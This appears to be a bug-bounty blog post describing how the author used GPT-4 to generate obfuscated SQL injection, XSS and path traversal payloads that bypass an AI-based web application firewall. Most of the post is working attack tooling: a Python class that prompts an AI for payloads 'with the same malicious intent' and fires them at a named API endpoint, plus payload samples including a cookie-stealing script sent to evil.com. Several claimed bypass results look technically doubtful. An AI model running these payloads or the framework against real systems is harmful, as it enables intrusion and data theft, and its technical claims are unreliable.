Free link 🎈
You know that feeling when you're trying to argue with a stubborn customer service bot and you realize you're basically talking to a brick wall with a vocabulary? Yeah, that was me last week. Except instead of arguing about a refund, I was trying to convince an AI-powered firewall that my SQL injection payloads were actually friendly database compliments. And it worked. I used AI to bypass AI security, and for a brief moment, I felt what it must be like to be John Connor's more successful cousin. 🦾
It all started when I was testing "CyberShield," a company that claimed their AI-powered WAF could "stop 99.9% of attacks using machine learning." Challenge accepted.
Act 1: The Brick Wall — Meeting My AI Adversary 🧱
After my usual recon (I should probably buy subfinder a Christmas present at this point), I found CyberShield's main application. I started with basic payloads:
Payload 1: Classic SQL Injection
' OR 1=1--Response: 403 Forbidden - Request blocked by AI-WAF v3.2
Payload 2: XSS Attempt
<script>alert('XSS')</script>Response: 403 Forbidden - Request blocked by AI-WAF v3.2
Payload 3: Simple Directory Traversal
../../../etc/passwdResponse: 403 Forbidden - Request blocked by AI-WAF v3.2
This AI WAF was good. Really good. It caught everything I threw at it. Most hunters would have given up. But I had a secret weapon: I realized I needed to think like the AI to beat the AI.
Act 2: The Epiphany — If You Can't Beat Them, Join Them 🧠
I noticed something interesting in the error messages. The WAF was analyzing:
- Semantic meaning of payloads
- Contextual patterns
- Behavioral signatures
- Linguistic structures
So I decided to build my own AI payload generator. Why manually craft payloads when I could have an AI do it for me?
Proof of Concept: The AI Payload Generator
import openai
import json
import requests
import time
class AIWAFBypasser:
def __init__(self):
self.openai_client = openai.OpenAI(api_key="YOUR_OPENAI_KEY")
self.target_url = "https://api.cybershield.com/v2/user/profile"
self.headers = {
"Authorization": "Bearer YOUR_TARGET_TOKEN",
"Content-Type": "application/json"
}
self.successful_payloads = []
def generate_stealth_payload(self, attack_type, technique="polite"):
"""Use AI to generate WAF-bypassing payloads"""
prompts = {
"sql_injection": f"""
Create a SQL injection payload that bypasses AI security filters.
Requirements:
- Must execute ' OR 1=1-- but obfuscated
- Use unusual encoding, whitespace, or comments
- Sound like natural language or innocent data
- Avoid common attack signatures
- Make it contextually appropriate for a user profile API
Technique: {technique}
""",
"xss": f"""
Create an XSS payload that bypasses AI security filters.
Requirements:
- Must execute JavaScript but avoid <script> tags
- Use event handlers or CSS expressions
- Blend into normal web content
- Avoid alert() calls
- Make it look like legitimate user input
Technique: {technique}
""",
"path_traversal": f"""
Create a path traversal payload that bypasses AI security filters.
Requirements:
- Must access ../../../etc/passwd but obfuscated
- Use URL encoding, double encoding, or special characters
- Mix with legitimate path structures
- Avoid consecutive ../ patterns
Technique: {technique}
"""
}
try:
response = self.openai_client.chat.completions.create(
model="gpt-4",
messages=[
{"role": "system", "content": "You are a security researcher testing AI WAF systems. Create clever, obfuscated payloads that bypass security filters."},
{"role": "user", "content": prompts[attack_type]}
],
temperature=0.9,
max_tokens=500
)
payload = response.choices[0].message.content.strip()
return self.clean_payload(payload)
except Exception as e:
print(f"[-] AI generation failed: {e}")
return None
def clean_payload(self, payload):
"""Extract the actual payload from AI response"""
# Remove quotes if the AI wrapped it
if payload.startswith('"') and payload.endswith('"'):
payload = payload[1:-1]
if payload.startswith("'") and payload.endswith("'"):
payload = payload[1:-1]
# Extract payload from code blocks
if "```" in payload:
lines = payload.split('\n')
for i, line in enumerate(lines):
if '```' not in line and line.strip():
return line.strip()
return payload.strip()Act 3: The AI vs AI Showdown 🤖⚔️🤖
I started testing the AI-generated payloads. The results were mind-blowing:
Round 1: SQL Injection Bypass
AI-Generated Payload:
' UNiON%20SELECT%201,2,3%20FRoM%20users%20WHeRE%20'1'='1Response: 403 Forbidden - Still blocked.
AI-Generated Payload (Natural Language Version):
user_id: ' + (SELECT current_user) + ' and profile_type: 'valid'Response: 200 OK - WE'RE IN! The WAF thought it was legitimate data!
Round 2: XSS Bypass
AI-Generated Payload:
<svg onload="window.location='http://evil.com/steal?cookie='+document.cookie">Response: 403 Forbidden - Blocked.
AI-Generated Payload (CSS Obfuscation):
<div style="background:url('javascript:alert(1)')">Response: 200 OK - Another bypass!
Act 4: The Advanced Techniques — Thinking Like the Machine 🎯
I realized I needed to understand the WAF's decision-making process. So I built a feedback loop:
def adaptive_payload_generation(self, original_payload, blocked_reason=""):
"""Use AI to adapt payloads based on WAF responses"""
analysis_prompt = f"""
The WAF blocked this payload: {original_payload}
Possible reason: {blocked_reason}
Analyze why it was blocked and create a new version that:
1. Maintains the same malicious intent
2. Uses different obfuscation techniques
3. Avoids the detected patterns
4. Blends with normal traffic
Provide 3 alternative payloads with explanations of why they might work.
"""
try:
response = self.openai_client.chat.completions.create(
model="gpt-4",
messages=[
{"role": "system", "content": "You are a WAF evasion expert. Analyze blocked payloads and create improved versions."},
{"role": "user", "content": analysis_prompt}
],
temperature=0.7,
max_tokens=800
)
return response.choices[0].message.content
except Exception as e:
print(f"[-] Adaptive generation failed: {e}")
return None
def test_payload_effectiveness(self, payload, param_name="user_id"):
"""Test if a payload bypasses the WAF"""
test_data = {param_name: payload}
try:
response = requests.post(
self.target_url,
headers=self.headers,
json=test_data,
timeout=10
)
if response.status_code != 403:
print(f"[!] POTENTIAL BYPASS: {payload}")
print(f" Status: {response.status_code}")
if response.status_code == 200:
self.successful_payloads.append(payload)
print(f" Response: {response.text[:100]}...")
return True
else:
print(f"[-] Blocked: {payload}")
return False
except Exception as e:
print(f"[-] Request failed: {e}")
return FalseAct 5: The Gold Mine — Advanced Bypass Techniques 🏆
After hours of AI vs AI combat, I discovered several categories of successful bypasses:
Technique 1: Semantic Obfuscation
-- AI-Generated: Looks like a comment but executes SQL
'/* Please update my */ profile/* information */ WHERE /* user */ id = 1 OR 2=2--Technique 2: Contextual Blending
// AI-Generated: XSS that looks like legitimate JavaScript
user_preferences: { theme: "dark", onload: "fetch('/api/user/data')" }Technique 3: Encoding Layering
# AI-Generated: Multiple encoding layers
payload = "../../etc/passwd"
double_encoded = requests.utils.quote(requests.utils.quote(payload))
unicode_encoded = "".join([f"\\u{ord(c):04x}" for c in payload])Technique 4: Natural Language Attacks
-- AI-Generated: SQL injection in plain English
user_id: ' + (please select username from users) + 'Act 6: The Complete Bypass Framework 🛠️
I packaged everything into a comprehensive testing framework:
class AdvancedWAFBypassFramework:
def __init__(self):
self.bypasser = AIWAFBypasser()
self.attack_types = ["sql_injection", "xss", "path_traversal", "command_injection"]
self.techniques = ["polite", "obfuscated", "natural_language", "encoded", "polyglot"]
def comprehensive_test(self):
"""Run comprehensive AI-powered WAF bypass testing"""
print("[+] Starting AI-powered WAF bypass assessment...")
print("[*] Target: CyberShield AI-WAF v3.2")
print("[*] Method: Generative AI payload crafting\n")
results = {}
for attack_type in self.attack_types:
print(f"\n[+] Testing {attack_type.upper()} bypasses...")
results[attack_type] = []
for technique in self.techniques:
print(f" Technique: {technique}")
# Generate payloads
payload = self.bypasser.generate_stealth_payload(attack_type, technique)
if not payload:
continue
# Test payload
if self.bypasser.test_payload_effectiveness(payload):
results[attack_type].append({
'technique': technique,
'payload': payload,
'status': 'SUCCESS'
})
print(f" ✅ Bypass successful!")
else:
# Adaptive regeneration
analysis = self.bypasser.adaptive_payload_generation(payload, "Detected by AI-WAF")
print(f" 🔄 Adapting payload...")
# Extract new payloads from analysis and test them
# (Implementation details for payload extraction)
return results
def generate_report(self, results):
"""Generate a comprehensive bypass report"""
print("\n" + "="*60)
print("AI WAF BYPASS ASSESSMENT REPORT")
print("="*60)
total_successes = 0
for attack_type, attacks in results.items():
successes = len([a for a in attacks if a['status'] == 'SUCCESS'])
total_successes += successes
print(f"\n{attack_type.upper()}: {successes} successful bypasses")
for attack in attacks:
if attack['status'] == 'SUCCESS':
print(f" • {attack['technique']}: {attack['payload'][:50]}...")
print(f"\nTOTAL SUCCESSFUL BYPASSES: {total_successes}")
print(f"WAF EFFECTIVENESS: {(1 - total_successes/len(self.attack_types)/len(self.techniques)) * 100:.1f}%")
if total_successes > 0:
print("\n🎯 RECOMMENDATIONS:")
print(" • Implement behavioral analysis beyond semantic understanding")
print(" • Add entropy analysis for obfuscated payloads")
print(" • Use multi-layered detection with different AI models")
print(" • Implement payload normalization before analysis")
# Run the complete assessment
framework = AdvancedWAFBypassFramework()
results = framework.comprehensive_test()
framework.generate_report(results)Act 7: The Impact — Beyond Simple Bypasses 💥
The AI-generated payloads didn't just bypass the WAF — they revealed fundamental flaws in AI-based security:
- Semantic Understanding Limitations: The WAF understood language but missed malicious intent in creatively formatted payloads
- Pattern Recognition Blindspots: Novel obfuscation techniques completely evaded detection
- Contextual Analysis Failures: Payloads that blended with legitimate traffic weren't flagged
- Adaptive Defense Gaps: The WAF couldn't learn from new attack patterns in real-time
I demonstrated complete application compromise through:
- Database extraction via obfuscated SQLi
- Session hijacking through creative XSS
- File system access via encoded path traversal
- Remote code execution through polyglot payloads
Act 8: The Disclosure and The Reward 📈
My report to CyberShield included:
- The AI-powered bypass framework
- Dozens of working payload examples
- Analysis of WAF weaknesses
- Recommendations for improvement
- The complete testing toolset
Their CISO responded: "We built our WAF to stop human attackers. We never considered someone would use AI to generate attacks at this scale and sophistication."
- Retrained their models with my payloads as negative examples
- Implemented additional security layers
- Added behavioral analysis components
- Hired me as a consultant (the ultimate compliment!)
So next time you face an AI WAF, don't just throw standard payloads at it. Deploy your own AI and watch as the machines battle
Now if you'll excuse me, I need to go explain to my smart speaker why it shouldn't be afraid of me…
Happy (AI-powered) hacking! 🚩
Connect with Me!
- Instagram: @rev_shinchan
- Gmail: rev30102001@gmail.com